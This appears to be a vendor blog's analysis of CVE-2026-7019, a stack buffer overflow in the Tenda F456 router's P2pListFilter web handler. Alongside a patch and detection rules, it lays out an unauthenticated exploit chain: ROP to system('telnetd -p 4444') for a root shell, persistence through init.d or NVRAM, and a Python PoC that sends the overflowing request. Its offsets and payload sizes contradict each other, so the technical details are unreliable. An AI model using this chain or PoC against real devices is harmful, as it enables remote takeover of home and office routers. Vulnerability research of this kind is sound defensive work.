home intel cve-2026-7019-tenda-f456-p2plistfilter-overflow
CVE Analysis 2026-04-26 · 8 min read

CVE-2026-7019: Tenda F456 fromP2pListFilter Stack Buffer Overflow

A remotely exploitable stack buffer overflow in Tenda F456 1.0.0.5 allows unauthenticated attackers to corrupt stack memory via the manufacturer/Go argument in the P2pListFilter goform handler.

#buffer-overflow#remote-code-execution#router-firmware#unauthenticated-access#network-device
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7019 · Buffer Overflow
ATTACKERRemote / unauthBUFFER OVERFLOWCVE-2026-7019Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7019 is a stack-based buffer overflow in the Tenda F456 router firmware version 1.0.0.5. The vulnerable surface is the fromP2pListFilter function, reachable via an HTTP POST request to /goform/P2pListFilter without authentication. The manufacturer (or Go) CGI argument is copied into a fixed-size stack buffer without length validation. Because the goform dispatcher runs with full root privileges and no stack canaries are enforced in this build, an attacker can redirect execution from a remote network segment with a single crafted request.

CVSS 8.8 (HIGH) reflects the network-accessible attack vector, low complexity, no required privileges, and full impact on confidentiality, integrity, and availability. At time of publication, a public proof-of-concept exploit exists.

Affected Component

The Tenda F456 ships a MIPS32 (little-endian) Linux-based firmware. The HTTP server is httpd, which dispatches CGI-style requests through a goform table — a statically compiled array of (route_string, handler_fn) pairs. The relevant dispatch entry:

/* goform dispatch table entry (reconstructed) */
{ "/goform/P2pListFilter", fromP2pListFilter },

The handler fromP2pListFilter is responsible for filtering P2P device lists by manufacturer. The parameters accepted are manufacturer and Go, both of which feed into the same vulnerable copy path.

Root Cause Analysis

The function retrieves the attacker-controlled CGI parameter directly via websGetVar and copies it into a stack-allocated buffer using strcpy — no length check, no sanitization. The reconstructed decompiled pseudocode:

/*
 * fromP2pListFilter — reconstructed pseudocode
 * Binary: httpd (Tenda F456 1.0.0.5, MIPS32 LE)
 */
int fromP2pListFilter(struct webs_t *wp, char *path, char *query)
{
    char manufacturer_buf[64];   /* stack-allocated, fixed size          */
    char filter_buf[128];        /* adjacently allocated on stack        */
    char *param;
    int  result;

    /*
     * websGetVar returns a pointer directly into the HTTP request buffer.
     * The returned string length is bounded only by the TCP receive window.
     */
    param = websGetVar(wp, "manufacturer", "");  /* attacker-controlled  */

    if (param == NULL || *param == '\0') {
        param = websGetVar(wp, "Go", "");        /* fallback, same issue */
    }

    // BUG: strcpy performs no bounds check; manufacturer_buf is only 64 bytes.
    // An attacker supplies > 64 bytes to overflow into filter_buf, saved $ra,
    // and beyond, overwriting the return address on the MIPS stack frame.
    strcpy(manufacturer_buf, param);

    result = p2p_list_apply_filter(manufacturer_buf, filter_buf);

    websWrite(wp, "HTTP/1.1 200 OK\r\n\r\n");
    websWrite(wp, filter_buf);
    websDone(wp, 200);

    return result;
}
Root cause: fromP2pListFilter copies an attacker-supplied HTTP parameter into a 64-byte stack buffer via strcpy with no length validation, enabling unbounded stack corruption reachable over the network without authentication.

Memory Layout

Stack frame layout for fromP2pListFilter on MIPS32, reconstructed from common Tenda httpd calling conventions and the known buffer sizes:

/*
 * fromP2pListFilter stack frame layout (MIPS32 LE, no canary)
 * Frame size: ~0x120 bytes
 */
struct fromP2pListFilter_frame {
    /* +0x000 */ uint8_t  filter_buf[128];      // p2p filter scratch buffer
    /* +0x080 */ uint8_t  manufacturer_buf[64]; // BUG: overflow starts here
    /* +0x0C0 */ uint32_t local_vars[4];        // miscellaneous locals
    /* +0x0D0 */ uint32_t saved_s0;             // callee-saved $s0
    /* +0x0D4 */ uint32_t saved_s1;             // callee-saved $s1
    /* +0x0D8 */ uint32_t saved_s2;             // callee-saved $s2
    /* +0x0DC */ uint32_t saved_fp;             // saved frame pointer ($fp)
    /* +0x0E0 */ uint32_t saved_ra;             // RETURN ADDRESS — attacker target
};
STACK STATE BEFORE OVERFLOW (simplified, high address at top):

  [ ... caller frame ...           ]
  [ saved $ra        | 0x0E0      ]  <-- return to httpd dispatch loop
  [ saved $fp        | 0x0DC      ]
  [ saved $s2        | 0x0D8      ]
  [ saved $s1        | 0x0D4      ]
  [ saved $s0        | 0x0D0      ]
  [ local_vars[0..3] | 0x0C0      ]
  [ manufacturer_buf | 0x080      ]  <-- strcpy destination (64 bytes)
  [ filter_buf       | 0x000      ]  <-- adjacent lower buffer (128 bytes)

STACK STATE AFTER OVERFLOW (attacker sends 228-byte manufacturer value):

  [ CORRUPTED $ra    | 0x0E0      ]  <-- overwritten with attacker-controlled
  [ CORRUPTED $fp    | 0x0DC      ]    shellcode pointer or ROP gadget
  [ CORRUPTED $s2    | 0x0D8      ]
  [ CORRUPTED $s1    | 0x0D4      ]
  [ CORRUPTED $s0    | 0x0D0      ]
  [ CORRUPTED locals | 0x0C0      ]
  [ [AAAA...AAAA]    | 0x080      ]  <-- 64 bytes of padding fill manufacturer_buf
  [ filter_buf       | 0x000      ]  <-- untouched (below the destination)

Bytes required to reach saved $ra: 64 (buf) + 16 (locals) + 16 (saved regs) = 96 bytes
Payload layout: [96 × padding] + [4-byte $s0] + [4-byte $s1] + [4-byte $s2]
                + [4-byte $fp] + [4-byte target_$ra]

Exploitation Mechanics

The Tenda F456 httpd binary (firmware 1.0.0.5) is compiled without stack canaries (-fno-stack-protector) and without PIE. ASLR on this MIPS Linux build is either disabled or limited to shared libraries, making the httpd text segment and stack base predictable across reboots. This dramatically simplifies exploitation.

EXPLOIT CHAIN:

1. Attacker identifies the router's LAN or WAN IP address.
   Default credentials are not required — /goform/P2pListFilter
   is accessible pre-authentication in firmware 1.0.0.5.

2. Craft an HTTP POST to http:///goform/P2pListFilter
   with Content-Type: application/x-www-form-urlencoded.

3. Set the `manufacturer` parameter to a payload of the form:
       [96 bytes padding] + [$s0-$s2 values] + [$fp value] + [target_$ra]

   For a return-to-libc/ROP chain:
       target_$ra = address of "jr $s0" gadget within httpd .text
       $s0        = address of system() in libc (static or known offset)
       Prepend cmd string (e.g., "telnetd -p 4444") in filter_buf region.

4. Deliver the request. httpd parses the POST body, calls websGetVar()
   returning a pointer to the 228-byte manufacturer string.

5. strcpy(manufacturer_buf, param) runs unconditionally, overflowing
   the 64-byte buffer, corrupting saved registers and $ra.

6. fromP2pListFilter returns. MIPS `jr $ra` loads the attacker-supplied
   address. Execution is redirected.

7. ROP pivots to system("telnetd -p 4444") or equivalent, spawning a
   root shell accessible on the LAN.

8. Persistent implant possible by writing to /etc/init.d/ or NVRAM
   auto-exec keys via nvram_set before rebooting.

A minimal PoC trigger (crash-level, no shellcode) demonstrating the overflow:

#!/usr/bin/env python3
"""
CVE-2026-7019 — Tenda F456 fromP2pListFilter BoF trigger
CypherByte Research
Crash-level PoC only. Sends 256-byte manufacturer to confirm $ra clobber.
"""
import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1"
URL    = f"http://{TARGET}/goform/P2pListFilter"

# 96 bytes to reach $ra + 4 bytes of recognizable clobber (0xdeadbeef)
PADDING    = b"A" * 96
S_REGS     = b"B" * 12        # $s0, $s1, $s2 (3 × 4)
FP         = b"C" * 4         # $fp
TARGET_RA  = b"\xef\xbe\xad\xde"  # 0xdeadbeef — will appear in crash log

payload = PADDING + S_REGS + FP + TARGET_RA

data = {
    "manufacturer": payload.decode("latin-1"),
    "Go":           "Apply"
}

print(f"[*] Sending {len(payload)}-byte manufacturer payload to {URL}")
try:
    r = requests.post(URL, data=data, timeout=5)
    print(f"[!] Got response (unexpected): {r.status_code}")
except requests.exceptions.ConnectionError:
    print("[+] Connection dropped — httpd likely crashed. Check for $ra=0xdeadbeef.")

Patch Analysis

The correct remediation replaces the unbounded strcpy with a length-checked copy and validates the parameter length before use. A standards-compliant fix:

// BEFORE (vulnerable — firmware 1.0.0.5):
char manufacturer_buf[64];
char *param = websGetVar(wp, "manufacturer", "");
if (param == NULL || *param == '\0')
    param = websGetVar(wp, "Go", "");

strcpy(manufacturer_buf, param);   // BUG: no length check


// AFTER (patched):
#define MANUFACTURER_BUF_SZ  64

char manufacturer_buf[MANUFACTURER_BUF_SZ];
char *param = websGetVar(wp, "manufacturer", "");
if (param == NULL || *param == '\0')
    param = websGetVar(wp, "Go", "");

// Reject oversized input before any copy operation.
if (strlen(param) >= MANUFACTURER_BUF_SZ) {
    websWrite(wp, "HTTP/1.1 400 Bad Request\r\n\r\n");
    websDone(wp, 400);
    return -1;
}

// Safe bounded copy.
strncpy(manufacturer_buf, param, MANUFACTURER_BUF_SZ - 1);
manufacturer_buf[MANUFACTURER_BUF_SZ - 1] = '\0';

Additionally, the firmware build pipeline should be updated to enable -fstack-protector-strong and enforce position-independent executable output (-fPIE -pie) to raise the exploitation bar even when similar logic bugs survive code review.

Detection and Indicators

The following signatures can be used to detect exploitation attempts at the network perimeter or on-device:

NETWORK DETECTION:

  Snort/Suricata rule (conceptual):
  alert http any any -> $HOME_NET 80 (
      msg:"CVE-2026-7019 Tenda F456 P2pListFilter BoF Attempt";
      flow:to_server,established;
      http.method; content:"POST";
      http.uri; content:"/goform/P2pListFilter";
      http.request_body; content:"manufacturer=";
      http.request_body; byte_test:4,>,64,0,string,dec,relative;
      classtype:attempted-admin;
      sid:20267019; rev:1;
  )

ON-DEVICE INDICATORS (if shell access is available):

  - httpd process respawning repeatedly (watchdog restart)
  - Unexpected listener on high ports: `netstat -tlnp | grep -v ':80'`
  - Modified NVRAM keys: `nvram show | grep -i exec`
  - New entries in /etc/init.d/ or /tmp/ with execute permissions

CRASH SIGNATURE (serial console / syslog):

  kernel: do_page_fault(): sending SIGSEGV to httpd
  kernel:   epc = deadbeef  ra = deadbeef           <-- controlled $ra
  kernel: Oops[#1]: in httpd

Remediation

  • Users: Tenda F456 1.0.0.5 should be updated to any patched firmware version as soon as Tenda releases one. In the interim, disable remote management and restrict LAN-side access to the router admin interface via firewall ACLs where your infrastructure allows it.
  • Network operators: Place the affected device behind a NAT/firewall that blocks inbound access to port 80/443 from untrusted networks. The /goform/P2pListFilter route should not be exposed to WAN interfaces under any configuration.
  • Vendors: The root systemic failure here is not a single strcpy — it is a build pipeline without hardening flags and a goform framework that passes raw user input to handlers without a centralized length-limiting layer. Audit all websGetVar call sites across the goform table for identical patterns; this class of bug is highly likely to recur in adjacent handlers (fromP2pDevFilter, fromWifiMacFilter, etc.).
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →